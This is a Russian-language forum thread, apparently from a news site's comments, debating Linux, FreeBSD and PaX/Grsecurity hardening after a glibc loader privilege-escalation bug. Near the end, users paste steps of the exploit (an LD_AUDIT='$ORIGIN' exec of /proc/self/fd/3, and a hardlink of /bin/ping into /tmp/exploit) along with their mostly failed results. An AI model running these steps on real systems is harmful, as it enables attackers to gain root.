> почему-то валится оптом именно с виндовых дслщиков. Ы?Кому интересны? Спамерам? ДДОС-ерам? Вы заблуждаетесь, машинки юзеров им нужны больше, хотя бы по тем причинам что: их больше, за ними многие не следят (в отличии от серверов, т.е. зомбированный пк может жить годами, а сервер только у плохого админа будет жить зомбированным), расследовать взлом пк мало кто будет (в отличии, опять же, от серверов).
>> А в миниксе надежность лучше, сможете изобразить так же?
> Смогу контрпример привести. Вот есть серваки, допустим. Скажем на одном из них
> заклинило вентиль и через сколько-то минут будет шатдаун по перегреву, например.
> Что нам предложит Миникс в плане надежности в таком случае? А
> в пингвине можно в ряде виртуализаторов или контейнеров простите просто подвинуть
> виртуалочки/контейнеры на соседний хост, так что никто ничего и не заметит.
> Ну понятно что там где ядерные реакторы - там и троекратное
> резервирование и отстрел по принципу "2 из 3" или что-то подобное
> никого не заломает, памятуя о последствиях. А вот на обычных серверах
> это как правило слишком жирно получается ;)хе, ну понятно же, что речь о разных вещах, ага? если, например, гипервизор приведет к краху системы, то передача состояния памяти по сети мало, чем поможет, даже если будет три машины, они дружно все накроются медным тазом и все дела.
Я немного вмешаюсь, простите.> намного больше. При том сервера - это очень интересные мишени. Мощные
> машины на толстых каналах с нефиговыми ресурсами. А не какие-то тормозные
> дслщики с глючным геймерским железом или там нетбуками вообще. А спам
> почему-то валится оптом именно с виндовых дслщиков. Ы?Спам чаще валится с десктопов, потому что их гораздо меньше, чем серверов, они часто меняют айпишники (динамические) и наблюдают за ними гораздо мненее внимательно. Как правило в ДЦ вам заблокируют почтовые порты в первый же день после обнаружения потока спама, в свете чего даже полный контроль над сервером, неспособным рассылать спам и не содежращим ценной информации, не даёт взломщику практически ничего.
>> то рута там будут получать два раза в день, каждый раз через новые ошибки.
Я видел VPS-хостинги, где OpenVZ-ядра не обновляются от полугода до года (хотя бинарные обновления для них выходят регулярно и не требуют ручной установки). При этом в RBL адреса из их подсетей светятся не часто, т.к. спам просто блокируется по почтовым портам на телеком-оборудовании.
> Дык на линуксе нынче серверов стоит куда больше чем на винде. Почему
> их тогда не рутают по 2 раза на день? Предпочитая вДа рутают их и по два, и по три раза в день. Хоть по тысячи, если эксплойт не нарушает консистентность структур и кода в ядре. Причина не только в качестве кода ядра, но и в нежелании добросовестно обслуживать серверы. Только пользы от этого коммерсантам от криминала чуть менее, чем никакой.
> основном гасить ламерье в винде сплойтами на древние непатченые версии флеша,
> абоб ридера и ишака. Как-то наблюдаемые факты не коррелируют с вашей
> теорией.Вы сами себе ответили: десктопы взламывают чаще, потому что лёгких целей для атак там больше. Это дешевле и эффективнее.
s/их гораздо меньше/их гораздо больше/
> s/их гораздо меньше/их гораздо больше/[0xFF]: Зарегались бы вы, а? :) Тогда вы смогли бы исправлять такое путем редактирования комента вместо патча вторым коментом :) (для зареганых - коменты редактируемы 60 минут после написания). [/0xFF]
сразу видно высказывание человека, к-ый вообще не шарит в безопасности...
вам выше расписали все фичи OpenBSD и Linux.
Фрю "реже" ломают потому что её инсталяций в разы меньше в мире, чем линукса.
Я был свидетелем 3 взломов линукс(в разных компаниях в разное время), причина банальна: пароль рута qwerty....
> Однако если вас действительно интересует практика, поинтересуйтесь у практиков - у исследователей
> и пентестеров с мировыми именами. Для этого достаточно обратиться с вопросами
> в листы рассылки, вроде Full-Disclosure или bugtraq, и попросить подписчиков (в
> т.ч. по именам) высказаться и/или дать материал к ознакомлению.погодите, если я понял правильно то Вы предлагаете мне самому доказать Ваши голословные утверждения. Я ведь правильно понял?
Напомню Ваше утверждение: "FreeBSD не только подвержена локальным уязвимостям больше, чем тот же Hardened Gentoo с полноценным набором механизмов защиты ядра, но и пользовательские процессы (сетевые сервисы, клиентские приложения) во FreeBSD больше (чаще, быстрее, проще) подвержены эксплуатации уязвимостей к выполнению произвольного кода по сравнению с линуксом и особенно с Hardened Gentoo (или другими системами на базе ядер с PaX и Grsecurity)."
p.s. раз уж зашла речь о пентестерах.. Вы чем-то/кем-то можете представиться?;)
>> Однако если вас действительно интересует практика, поинтересуйтесь у практиков - у исследователей
>> и пентестеров с мировыми именами. Для этого достаточно обратиться с вопросами
>> в листы рассылки, вроде Full-Disclosure или bugtraq, и попросить подписчиков (в
>> т.ч. по именам) высказаться и/или дать материал к ознакомлению.
> погодите, если я понял правильно то Вы предлагаете мне самому доказать Ваши
> голословные утверждения. Я ведь правильно понял?Нет, вы поняли неправильно, вернее, вы занимаетесь казуистикой, наигранно делая вид, что при вашем хамско-пренебрежительном тоне по отношению ко мне я вам ещё что-то обязан доказывать, причём, лично: и документацию пересказать, и мнения экспертов собрать процитировать. И это в ответ на дешёвую полемику и апологетику вместо разговора по существу. Это во-первых. Во-вторых, мои утверждения не голословны и опираются, например, на наличие в PaX и отсутствие во FreeBSD защиты от обращения из ядра по указателям на пользовательские данные. Если вам это ни о чём не говорит - ваши проблемы.
> Напомню Ваше утверждение: "FreeBSD не только подвержена локальным уязвимостям больше,
На что вы рассчитываете? Вот потыкаете меня носом в сказанное, встанете в позу, и это как-то прикроет или оправдает ваше явное нежелание настрочить за 3-10 минут коротенькое письмецо в Full-Disclosure и получить доказательства, которые вас якобы интересуют?
> p.s. раз уж зашла речь о пентестерах.. Вы чем-то/кем-то можете представиться?;)
Я системный инженер и обладаю лишь некоторыми знаниями и навыками, необходимыми для обеспечения безопасности моих систем. А вы сами-то чем можете похвастаться? Пока я увидел только дремучесть, фанатизм и нелепые попытки апелляции к нормам этики после перехода на личность собеседника.
> FreeBSD не только подвержена локальным уязвимостям больше, чем тот же Hardened Gentoo
> с полноценным набором механизмов защиты ядра, но и пользовательские процессы (сетевые
> сервисы, клиентские приложения) во FreeBSD больше (чаще, быстрее, проще) подвержены
> эксплуатацииВы сами то верите в то что понаписали ???
И какие же это пользовательские процессы ??? WWW ?
Руки подтачите под FreeBSD а потом разглогольствуйте что безопаснее линух из коробки или фряха
Я не говорю про всякие SeLinux/Jail я говорю именно система из коробки
Может в линухах и побольше средств для безопасности но так или иначе несмотря на то что код во FreeBSD хоть и похуже но на внешние воздействия из коробки более стойкая система
>> FreeBSD не только подвержена локальным уязвимостям больше, чем тот же Hardened Gentoo
>> с полноценным набором механизмов защиты ядра, но и пользовательские процессы (сетевые
>> сервисы, клиентские приложения) во FreeBSD больше (чаще, быстрее, проще) подвержены
>> эксплуатации
> Вы сами то верите в то что понаписали ???Не верю, а знаю.
> И какие же это пользовательские процессы ??? WWW ?
Любые, которые обрабатывают данные из внешних, потенциально опасных источников.
> Руки подтачите под FreeBSD а потом разглогольствуйте что безопаснее линух из коробки
> или фряхаВы мне ещё похамите и поуказывайте - это придаст особый вес вашим словам.
> Я не говорю про всякие SeLinux/Jail я говорю именно система из коробки
И я говорю о системах из коробки. К примеру, CentOS - это что, по-вашему?
> Может в линухах и побольше средств для безопасности но так или иначе
Дело не в количестве, а в качестве и полноте. В ванильном ядре с количеством проблем нет, а вот качество и полнота оставляют желать намного лучшего.
> несмотря на то что код во FreeBSD хоть и похуже но
Код во FreeBSD, на мой взгляд, получше, о чём я уже сказал.
> на внешние воздействия из коробки более стойкая система
Это ничем не обоснованное утверждение.
> Руки подтачитеYet another *EPIC* FAIL!
> во FreeBSD больше (чаще, быстрее, проще) подвержены эксплуатации уязвимостейПриведите статистику по дырам для Linux и FreeBSD для начала. Быть может все эти механизмы не так уж и нужны в настоящий момент.
> Приведите статистику по дырам для Linux и FreeBSD для начала. Быть может
> все эти механизмы не так уж и нужны в настоящий момент.На "статистику по дырам" ориентироваться бессмысленно, т.к. в первую очередь на неё влияет популярность данной ОС и желание отдельных людей и организаций заниматься поиском уязвимостей данной ОС. Есть другие ориентиры: типобезопасность языка, наличие в команде разработчиков активных экспертов по безопасности, влияние модели разработки на ситуацию с безопасностью, сама политика реагирования на инциденты, связанные с безопасностью и т.д. По этим параметрам ни FreeBSD, ни ванильный линукс ничем особо похвастаться не могут - скорее, наоборот. Но в отличие от FreeBSD, у линукса есть сторонние активные эксперты-разработчики.
>> Приведите статистику по дырам для Linux и FreeBSD для начала. Быть может
>> все эти механизмы не так уж и нужны в настоящий момент.
> На "статистику по дырам" ориентироваться бессмысленно, т.к. в первую очередь на неё
> влияет популярность данной ОС и желание отдельных людей и организаций заниматься
> поиском уязвимостей данной ОС.Я про это и говорю. Зачем городить огород раньше времени, если по факту дыры
либо никто не ищет, либо они закрываются другими методами(например чистотой кода).
Все эти механизмы выглядят скорее костылями.>Есть другие ориентиры: типобезопасность языка,
С этим хорошо пожалуй только в линейке модула/оберон(из тех о чем слышал я)
>наличие в команде разработчиков активных экспертов по безопасности,
имеются
> влияние модели разработки на ситуацию с безопасностью
соборная модель выглядит предпочтительнее базарной с этой точки зрения.
> сама политика реагирования на инциденты, связанные с безопасностью и т.д.
обычная политика. дыры латаются быстро, выпускается отдельный патч.
> По этим параметрам ни FreeBSD, ни ванильный линукс
> ничем особо похвастаться не могут - скорее, наоборот. Но в отличие
> от FreeBSD, у линукса есть сторонние активные эксперты-разработчики.Может. Модель разработки и институтские корни. Я больше доверяю экспертам от
науки.
Я не специалист по безопасности, но..kern.securelevel=2, mount / to read only - ломайте.
> kern.securelevel=2, mount / to read only - ломайте.Озвучьте предложение на Full-Disclosure или DailyDave, оговорите достойное вознаграждение, и всё вам сломают. :)
>> На "статистику по дырам" ориентироваться бессмысленно, т.к. в первую очередь на неё
>> влияет популярность данной ОС и желание отдельных людей и организаций заниматься
>> поиском уязвимостей данной ОС.
> Я про это и говорю. Зачем городить огород раньше времени,
> если по факту дыры
> либо никто не ищет, либо они закрываются другими методами(например чистотой кода).Вы говорите совершенно об обратном и вдобавок питаете иллюзии о чистоте кода, которой нет.
Для получения инструмента компрометации ядра FreeBSD человеку нужно:
1. Найти уязвимость, поддающуюся эксплуатации.
2. Написать эксплойт.
3. Держать уязвимость в секрете.История опубликованных уязвимостей ядра FreeBSD показывает, что находить их под силу отдельным людям (гуглите FreeBSD kernel vulnerability и смотрите авторство). Этим же (равно как и другим) людям по силам писать PoC-эксплойты (FreeBSD root exploit в гугле), поскольку эксплуатация весьма прямолинейна и не требует обхода механизмов предотвращения (которых просто нет). Разница между злоумышленником-одиночкой, обладающим достаточными знаниями и навыками, и таким исследователем-одиночкой лишь в планах, мотивах и действиях по п.3.
В случае линукс-ядер с PaX и Grsecurity преодолеть п.1 и п.2 становится значительно сложнее, т.к. сужается перечень "полезных" ошибок под действием механизмов защиты, исключающих целые классы уязвимостей и методы их эксплуатации. Например, UDEREF не позволяет ядру обращаться по указателям на юзерспейс. KERNEXEC реализует W^X для пространства ядра и блокирует запись во многие уязвимые структуры данных (не кода), MEMORY_SANITIZE предотвращает утечки данных, обнуляя всю память, выделяемую в юзерспейс, и так далее.
Поэтому на практике абсолютное большинство ошибок либо не поддаётся эксплуатации (в разумные сроки и за разумную цену), либо требует создания сложных многоходовых эксплойтов.
К тому же:
1. Уязвимостями торгуют и делятся в приватных кругах.
2. Одна и та же пара уязвимость+эксплойт может быть использована многократно для атаки на множество независимых целей разными людьми (так обычно и происходит).
3. Не обольщайтесь, если полагаете, будто компрометация отдельно взятых ваших машин обойдётся кому-то в совокупную стоимость поиска уязвимости и написания боевого эксплойта (в случае локальной эскалации привилегий от PoC он не отличается ничем) - кто-то знакомый может подарить взломщику интсрументарий за "спасибо, сочтёмся" или в обмен на информацию.
4. Уязвимость можно обнаружить, просто случайно порушив систему в процессе работы или читая чужие (!) баг-репорты в трекере.
5. Почти всё сказанное применимо к уязвимостям во многих сетевых демонах, а чаще уязвимые веб-приложения и вовсе упрощают проникновение.Лично я считаю, что игнорировать такую ситуацию целесообразно, лишь когда защищать по большему счёту нечего.
> Все эти механизмы выглядят скорее костылями.
Вопрос в том, насколько приемлема ситуация при отказе от таких костылей.
>>Есть другие ориентиры: типобезопасность языка,
> С этим хорошо пожалуй только в линейке модула/оберон(из тех о чем слышал
> я)Много, где хорошо. Даже в яве.
>>наличие в команде разработчиков активных экспертов по безопасности,
> имеютсяИ кто они?
>> влияние модели разработки на ситуацию с безопасностью
> соборная модель выглядит предпочтительнее базарной с этой точки зрения.Слишком общее суждение. Я другое имел ввиду. Посмотрите, как в OpenBSD: перед включением кода в основную ветку его обязательно проверяют ещё один или несколько разработчиков. Приоритеты и требования: корректность, простота, безопасность. В линуксе с этим туго, как во FreeBSD - не знаю.
>> сама политика реагирования на инциденты, связанные с безопасностью и т.д.
> обычная политика. дыры латаются быстро, выпускается отдельный патч.Не бывает обычных политик, а перечень возможных реакций и решений выпуском патчей не исчерпывается. Кто-то стремится устранить причины доступными средствами, а кто-то - вечный реакционер.
> Может. Модель разработки и институтские корни. Я больше доверяю экспертам
> от
> науки.Риски вы тоже на основании доверия "экспертам от науки" рассчитываете? Наука давно ушла вперёд и адекватна сегодняшней действительности, а мы по-прежнему привязаны к сорокалетнему наследию сомнительного качества двух инженеров из AT&T. Жаль, что об оберонах вы всего лишь слышали.
А как оценивалось качество кода? По какой методике?
Почему "к сожалению" ?Что до FreeBSD, давеча писали про http://www.opennet.me/opennews/art.shtml?num=28210 которая вроде как не смогли закрыть аж в далёком 2001 году.
И вот две машины с потенциально уязвимым лет 10 как ProFTPd:
FreeBSD 8.0, proftpd-1.3.2b - бага НЕ проявилась.
FreeBSD 8.1 proftpd-1.3.3a_1 - бага проявилась.Почему на более старой версии бага не проявилась? Хотя казалось бы бага для всех одна, в том числе для линухов с их защитой. Мне почему-то кажется что безопасность зависит в первую очередь от того что между клавой и стулом.
А менять ежеквартально железо на серверах потому что "там появился аппаратно реализованный очередной моднявый PaX, шмякс" или "потому что нам надо поднять производительность и объём ОЗУ который сожрала паранойя и кривой софт" никто не будет. Если проблема в кривых исходниках, исправлять надо кривые исходники - это ЭФФЕКТИВНЕЕ.p.s. Что-то не вижу тестов, эта бага к BSD применима?
> Почему "к сожалению" ?Потому что ядро и так дырявое: дыркой больше, дыркой меньше... :)
> Почему на более старой версии бага не проявилась? Хотя казалось бы бага
> для всех одна, в том числе для линухов с их защитой.Знаете, у меня тоже "бага не проявилась" - на vsftpd.
> Мне почему-то кажется что безопасность зависит в первую очередь от того
> что между клавой и стулом.В первую очередь - совершенно согласен. На примере уязвимости в glob() это хорошо видно: вот у вас ProFTPd и "бага проявилась". ;)
> А менять ежеквартально железо на серверах потому что "там появился аппаратно реализованный
> очередной моднявый PaX, шмякс" или "потому что нам надо поднять производительность
> и объём ОЗУ который сожрала паранойя и кривой софт" никто неЭто вы, не подумав, сказали. У тех, кто использует PaX, аналог W^X работает даже на старых серверах с процессорами без NX-бита. А вообще было бы смешно, если б не так грустно наблюдать людей, которые "спорят о вкусе манго с теми, кто их ел", то бишь, объясняют пользователям PaX с многолетним стажем, как там всё тормозит и апгрейда требует. :)
> будет. Если проблема в кривых исходниках, исправлять надо кривые исходники -
> это ЭФФЕКТИВНЕЕ.Это, во-первых, крайне НЕэффективно, потому что человек - не машина, и в поиске ошибок (уявзимостей) ошибается и не способен обнаружить и закрыть все, а во-вторых, этим почти никто не занимается даже в OpenBSD, не говоря уж о других BSD и линуксе...
> p.s. Что-то не вижу тестов, эта бага к BSD применима?
Какая именно "эта бага"?
>> Мне почему-то кажется что безопасность зависит в первую очередь от того
>> что между клавой и стулом.
>В первую очередь - совершенно согласен. На примере уязвимости в glob() это хорошо видно: >вот у вас ProFTPd и "бага проявилась". ;)Почему на второй машине не проявилась на дырявом же ProFTPd ?
Извините, вы выше орали про аппаратную реализацию, а "аналоги" использовать уже другой темы разговор, ведь вы именно эту фичу тут хвалите, так давайте, расхвалите мне её тут. В частности, обсуждаемую уязвимость она отлавливает или всё-таки нет?
В конце концов в первом же его описании написано: PaX напрямую не предотвращает переполнение буфера, а лишь пытается эффективно пресечь потенциальные, связанные с ним, ошибки разработчиков.Мне кажется вполне эффективно исправить одну глобальную либу, чем переписывать сотни дистрибутивов, а затем их обновлять на миллионах машин.
> Какая именно "эта бага"?
Обсуждаемая разумеется.
> Почему на второй машине не проявилась на дырявом же ProFTPd ?А я откуда знаю? Но уж точно не потому, что между креслом и монитором находитесь вы.
> Извините, вы выше орали про аппаратную реализацию, а "аналоги" использовать уже другой
Не извиню. После "извините" вы продолжаете бессовестно хамить.
> темы разговор, ведь вы именно эту фичу тут хвалите, так давайте,
Я ничего не хвалю, я высказываю своё мнение и опровергаю бред, подобный тому, который вы здесь, не стесняясь своей глупости, пишете.
> расхвалите мне её тут. В частности, обсуждаемую уязвимость она отлавливает или
> всё-таки нет?Уязвимость в glob() - логическая и не приводит к компрометации. От чего защищать?
> В конце концов в первом же его описании написано: PaX напрямую не
> предотвращает переполнение буфера, а лишь пытается эффективно пресечь потенциальные,
> связанные с ним, ошибки разработчиков.Пресечь не ошибки разработчиков, а попытки эксплуатации ошибок.
> Мне кажется вполне эффективно исправить одну глобальную либу, чем переписывать сотни дистрибутивов,
> а затем их обновлять на миллионах машин.Вы либо вообще не понимаете, о чём говорите, либо выражаетесь настолько бессвязно, что понять вас невозможно.
>> Какая именно "эта бага"?
> Обсуждаемая разумеется.Вами обсуждаемая или в новости? От баги в glibc, независимо от наличия у атакующего прав чтения экзешника с suid-битом, защищают ограничения на создание хардлинков, реализованные в Grsecurity. А бага в glob() не приводит к компрометации. К тому же в нормальных, а вернее, в нормальном фтп-сервере - vsftpd - она отсутствует.
> Не извиню. После "извините" вы продолжаете бессовестно хамить.Неа, бессовестно хамите тут как раз Вы, но очень уж уверены что именно Вы самый умный, а все остальные (начиная с BSD-шников, заканчивая доброй половиной линуксовых дистрибутивов) просто ламеры позорные, раз ещё не всунули себе PaX и несут бред.
> Уязвимость в glob() - логическая и не приводит к компрометации. От чего защищать?
Ну ну, вы ещё напишите что это фича такая и что её внедрять надо, а то мы тут бред несём, защищаться от этого хотим.
От баги в glibc можно защититься прочитав нормальный хендбук - нечего юзерспейсу в / делать (причём в линухе это тоже прописаня истина, если Вы не домохозяйка мигрирующая с винды). Кроме vsftpd вы считаете все остальные ftp-сервера ненормальными судя по вашей же цитате? А то что бага в glob() влияет не только на ftp-сервер вы вообще в курсе?
>> Не извиню. После "извините" вы продолжаете бессовестно хамить.
> Неа, бессовестно хамите тут как раз Вы, но очень уж уверены что
> именно Вы самый умный, а все остальные (начиная с BSD-шников, заканчивая
> доброй половиной линуксовых дистрибутивов) просто ламеры позорные, раз ещё не всунули
> себе PaX и несут бред.Как ламер позорный, позволю себе всё же заметить, что тов. paxuser — действительно самый адекватный в этой ветке.
>> Уязвимость в glob() - логическая и не приводит к компрометации. От чего защищать?
> Ну ну, вы ещё напишите что это фича такая и что её
> внедрять надо, а то мы тут бред несём, защищаться от этого
> хотим.Ну, по крайней мере вы сейчас действительно бред несёте, с этим спорить не буду.
> От баги в glibc можно защититься прочитав нормальный хендбук - нечего юзерспейсу
> в / делать (причём в линухе это тоже прописаня истина, если
> Вы не домохозяйка мигрирующая с винды).Ну будет — в случае того же анонимного FTP — chroot в /home/ftp, что изменится? Вы смешны.
> Кроме vsftpd вы считаете все
> остальные ftp-сервера ненормальными судя по вашей же цитате?Если все остальные сливают ему в данном аспекте, то — да, vsftpd будет самым нормальным.
> А то что бага в glob() влияет не только на ftp-сервер вы вообще в
> курсе?Вы вообще дальше своего носа видеть умеете?
Пардон? Человек тут на пол темы расписал, как хорош PaX и патчи для linux на основе того же PaX, а потом сам же сказал что в принципе от конкретной уязвимости он не спасает. Почему бы с ним не пофлеймить на эту тему, пока те кто шарит (без моей и его помощи) не поправят существующий код избавив от уязвимости всех? Я прекрасно понимаю что человек не машина, но проталкивать подпорки "чтобы хоть как-то не рассыпалось" вместо усиления средств разработки и отладки как-то грустно.
> Пардон? Человек тут на пол темы расписал, как хорош PaX и патчи
> для linux на основе того же PaX, а потом сам жеНе пардон. Вы до сих пор считаете, что я что-то расписывал в категориях хорошо-плохо. И это ваши проблемы, ко мне претензии не по адресу.
> сказал что в принципе от конкретной уязвимости он не спасает. Почему
Опять категории: спасает-не спасает. Вам, таки пардон, сколько лет? Не стыдно так поверхностно и грубо мыслить?
PaX (особенно вместе с Grsecurity) часто "спасает" от компрометации, лишь в редких случаях "спасает" от DoS, но в основном он как раз сводит к DoS последствия от атак, которые в противном случае были бы более тяжкими: компрометация системы, повреждение и утечки данных.
> бы с ним не пофлеймить на эту тему, пока те кто
На имиджборды идите флеймить.
> шарит (без моей и его помощи) не поправят существующий код избавив
Без вашей уж точно.
> от уязвимости всех? Я прекрасно понимаю что человек не машина, но
Бла-бла-бла...
> проталкивать подпорки "чтобы хоть как-то не рассыпалось" вместо усиления средств разработки
> и отладки как-то грустно.Морали надо было читать 40 лет назад Ричи и Томпсону, теперь - только плакать, колоться и есть кактус.
> PaX (особенно вместе с Grsecurity)А ничего что Grsecurity основан на PaX? Это всё равно что написать "PaX вместе с PaX это и есть PaX".
Вы так увлеклись этими двумя словами что уже просто не знаете куда их всунуть чтобы побольше?
>> PaX (особенно вместе с Grsecurity)
> А ничего что Grsecurity основан на PaX? Это всё равно что написать[зеваю] Очередная несусветная глупость, уже даже почти немного смешная. Логики просто нет. Ну во-первых, если бы (да кабы) патч Grsecurity был "основан на PaX", как бы это помешало PaX существовать отдельно от Grsecurity (а не наоборот)? А никак: http://www.grsecurity.net/~paxguy1/
Во-вторых, эти два патча охватывают разные аспекты, дополняют друг друга с минимальной взаимной интеграцией и уже много лет выпускаются разработчиками в совмещённом виде. Откройте для себя interdiff.
> "PaX вместе с PaX это и есть PaX".
Очередной шедевр. Позорьтесь дальше, я помогу.
> Вы так увлеклись этими двумя словами что уже просто не знаете куда
> их всунуть чтобы побольше?Нет, это вы так ими увлеклись (причём сразу), что ничего больше не замечаете и либо там уже жиром истекли, либо действительно не в состоянии различать и усваивать информацию.
>> Не извиню. После "извините" вы продолжаете бессовестно хамить.
> Неа, бессовестно хамите тут как раз Вы, но очень уж уверены чтоГде конкретно я хамил?
> именно Вы самый умный, а все остальные (начиная с BSD-шников, заканчивая
> доброй половиной линуксовых дистрибутивов) просто ламеры позорные, раз ещё не всунули
> себе PaX и несут бред.Это ваши фантазии и трусливая попытка прировнять надуманный снобизм к хамству, чтобы оправдать своё хамство.
>> Уязвимость в glob() - логическая и не приводит к компрометации. От чего защищать?
> Ну ну, вы ещё напишите что это фича такая и что её
> внедрять надо, а то мы тут бред несём, защищаться от этого
> хотим.А зачем мне бред писать? Сами справляетесь.
> От баги в glibc можно защититься прочитав нормальный хендбук - нечего
Не всегда. Например, не на легковесном VPS.
> юзерспейсу
Очередная глупость.
> в / делать (причём в линухе это тоже прописаня истина, если
> Вы не домохозяйка мигрирующая с винды). Кроме vsftpd вы считаете все
> остальные ftp-сервера ненормальными судя по вашей же цитате? А то чтоДа, все прочие, знакомые мне полнофункциональные фтп-серверы я считаю ненормальными (плохо спроектированными и написанными).
> бага в glob() влияет не только на ftp-сервер вы вообще в
> курсе?Вы сами-то в курсе, где, на что и как она "влияет"?
А где конкретно я хамил, конкретно Вам до вашего треда о том что я хам? У меня тоже такой своеобразный "надуманный снобизм", если это теперь так модно называть.>> От баги в glibc можно защититься прочитав нормальный хендбук - нечего
>Не всегда. Например, не на легковесном VPS.Удачная шутка на ночь глядя.
Если все так плохо спроектированы и написаны, напишите правильный ftp-сервер, раз вы видите "правильный" вариант. Вам потом спасибо скажут. Меня например vsftpd не устроил, да и не только меня судя по спискам компаний, чьи сервера были среди заявленных как уязвимые.
> А где конкретно я хамил, конкретно Вам до вашего треда о том
> что я хам? У меня тоже такой своеобразный "надуманный снобизм", если
> это теперь так модно называть."вы выше _орали_ про аппаратную реализацию, а "аналоги" использовать уже другой темы разговор, ведь вы именно эту фичу тут хвалите, так _давайте, расхвалите мне её тут_."
Вот здесь вы начали хамить, я подчеркнул.
>>> От баги в glibc можно защититься прочитав нормальный хендбук - нечего
>>Не всегда. Например, не на легковесном VPS.
> Удачная шутка на ночь глядя.И в чём шутка? На легковесных VPS директории /tmp, /var и /home лежат на одном разделе c suid-экзешниками, смонтированном без nosuid.
> Если все так плохо спроектированы и написаны, напишите правильный ftp-сервер, раз вы
Он уже написан, это vsftpd. Он не идеален, но лучший по ряду важных качеств.
> видите "правильный" вариант. Вам потом спасибо скажут. Меня например vsftpd не
Не я один его вижу. Например, тут в обсуждении тихо и незаметно высказался Александр Песляк ака Solar Designer (юзер solardiz) - эксперт в сфере безопасности с мировым именем и один из ключевых разработчиков дистрибутива Openwall, в состав которого vsftpd интегрирован, как наиболее безопасный и при этом функциональный фтп-сервер. Попробуйте расспросить solardiz'а, если тема хороших и плохих фтп-серверов вас так волнует.
> устроил, да и не только меня судя по спискам компаний, чьи
> сервера были среди заявленных как уязвимые.С чего вы взяли, что их vsftpd не устроил? Они могли польститься на более широкий функционал в ProFTPd или, например, не захотели разбираться с PAM-аутентификацией в vsftpd.
_орали_ - а как ещё назвать тучу постов выше?
_давайте, расхвалите мне её тут_- а это вообще креативное предложение, покажите мне реальную задачу в которой оно мне жизненно необходимо, раскройте мне серому глаза.> И в чём шутка? На легковесных VPS директории /tmp, /var и /home
> лежат на одном разделе c suid-экзешниками, смонтированном без nosuid.Ну не хотите делать как хендбуке рекомендуется, будьте готовы к тому, о чём в хендбуке же предупреждают - к излишним проблемам.
> Он уже написан, это vsftpd. Он не идеален, но лучший по ряду
> важных качеств.Сделайте форк, напишите "идеальный".
> Не я один его вижу. Например, тут в обсуждении тихо и незаметно
Я думаю у Александра есть дела поважнее чем объяснять мне то что и так расписано, а заодно и поважнее чем флудить тут про PaX. Мне например его объяснение
>Тут дело не в glibc vs. eglibc, а в опциях сборки. -DNDEBUG убирает assert'ы, которые, в
>теории, на уже отлаженном коде не нужны. А реально - в данном случае помогали. То, что
>срабатывает assert внутри glibc/eglibc - это признак наличия багаВполне понятно и вполне понравилось. А ваши доводы про PaX как-то слабоваты. Почему сразу не DEP тогда уж?
> С чего вы взяли, что их vsftpd не устроил? Они могли польститься
> на более широкий функционал в ProFTPd или, например, не захотели разбираться
> с PAM-аутентификацией в vsftpd.Точно. Надо пойти пожурить HP, Adobe, Oracle и прочих за то что PAM-аутентификацию не осилили.
> _орали_ - а как ещё назвать тучу постов выше?Высказывал мнение, аргументы, контраргументы, давал пояснения, повторял для особо невнимательных и ставил на место хамов.
> _давайте, расхвалите мне её тут_- а это вообще креативное предложение, покажите мне
> реальную задачу в которой оно мне жизненно необходимо, раскройте мне серому
> глаза.Вы ещё ложкой по столу постучите и ножками потопайте - сразу прибегу и раскрою. Это не предложение, это панибратское требование, высказанное в пренебрежительном тоне - хамство, иными словами.
> Ну не хотите делать как хендбуке рекомендуется, будьте готовы к тому, о
> чём в хендбуке же предупреждают - к излишним проблемам.Клиент хочет, VPS-хостер не хочет. Велкам ту риел ворлд.
> Сделайте форк, напишите "идеальный".
Чтобы хама ублажить? Меня vsftpd устраивает.
>> Не я один его вижу. Например, тут в обсуждении тихо и незаметно
> Я думаю у Александра есть дела поважнее чем объяснять мне то что
> и так расписано, а заодно и поважнее чем флудить тут про
> PaX. Мне например его объяснениеЗнаете, у меня тоже есть дела поважнее, нежели переводить и пересказывать вам, хаму, содержимое http://pax.grsecurity.net/docs/ - потрудитесь закатать губу и хоть что-то сделать самостоятельно.
> Вполне понятно и вполне понравилось. А ваши доводы про PaX как-то слабоваты.
Да мне всё равно, можете хоть исходники на туалетной бумаге распечатаь. А мои доводы вы даже не поняли. Попробуйте их хотя бы для себя сформулировать.
> Почему сразу не DEP тогда уж?
Очередная глупость.
> Точно. Надо пойти пожурить HP, Adobe, Oracle и прочих за то что
> PAM-аутентификацию не осилили.Хотите юродствовать - журите. К чему вы мне этим списком тычете?
> Знаете, у меня тоже есть дела поважнееНе похоже, ой не похоже.
>> Знаете, у меня тоже есть дела поважнее
> Не похоже, ой не похоже.Ну вам виднее, конечно. :)
Можно немножко откровения? Почему у Вас PaX даже в никнейме?
> Можно немножко откровения? Почему у Вас PaX даже в никнейме?Это скорее подпись, которая звучит проще, чем grsecuser или grsecurityuser, а суть отражает примерно ту же, чтобы люди с толикой кругозора могли догадаться, что я пользуюсь тем, о чём говорю.
>позволяющая любому _локальному_ пользователю получить привилегии суперпользователявот так
>Покажи свой IP и ты узнаешь как страшно , вернее ты и не заметишь как всё закончится ;)Сетка класса А: 127.0.0.0/8, выбери любой из 16'777'214 айпишников.
Твои пинги я действительно заметить не успею.
$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
Inconsistency detected by ld.so: dl-open.c: 266: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed!
Connection to board-gw closed.не судьба..
Аналогично, это в консольке, xterm просто закрылся. может shell тоже имеет значение?
Нет, перенаправь вывод ошибок в файл и увидишь то же самое
> Нет, перенаправь вывод ошибок в файл и увидишь то же самоеМожно просто шелл в шелле запустить. Когда чайлдовый шелл помрет, вы вывалитесь в парент, сообщение о том почему сдох чайлд ессно будет видно. ИМХО так проще - ошибка вываливается в том же месте, не надо ни в каких файлах копаться где-то сбоку.
на шаге
$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
шелл упал
дистр OpenSUSE 11.3
[user0@homelinux ~]$ uname -a
Linux homelinux 2.6.35-ARCH ....
шел упал. аналогично
$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
ln: создание жесткой ссылки `/tmp/exploit/target' => `/bin/ping': Операция не позволяетсяUbuntu 10.10, /tmp не является отдельной fs
и в логе такая штука
$ tail -1 /var/log/messages
Oct 19 16:17:21 machine kernel: [226597.124722] non-accessible hardlink creation was attempted by: ln (fsuid 1000)Даже как-то скучно быть неподверженным..
Кстати, в Grsecurity по умолчанию включены запреты пользователям на создание хардлинков на чужие файлы.
Исправления нет - как так?!
Заголовок, "обнаружена". Вопросы?
В Gentoo у меня FEATURES="sfperms", что ставит права go-r на все suid файлы.
Так что эксплойт не работает и я в безопасности )).
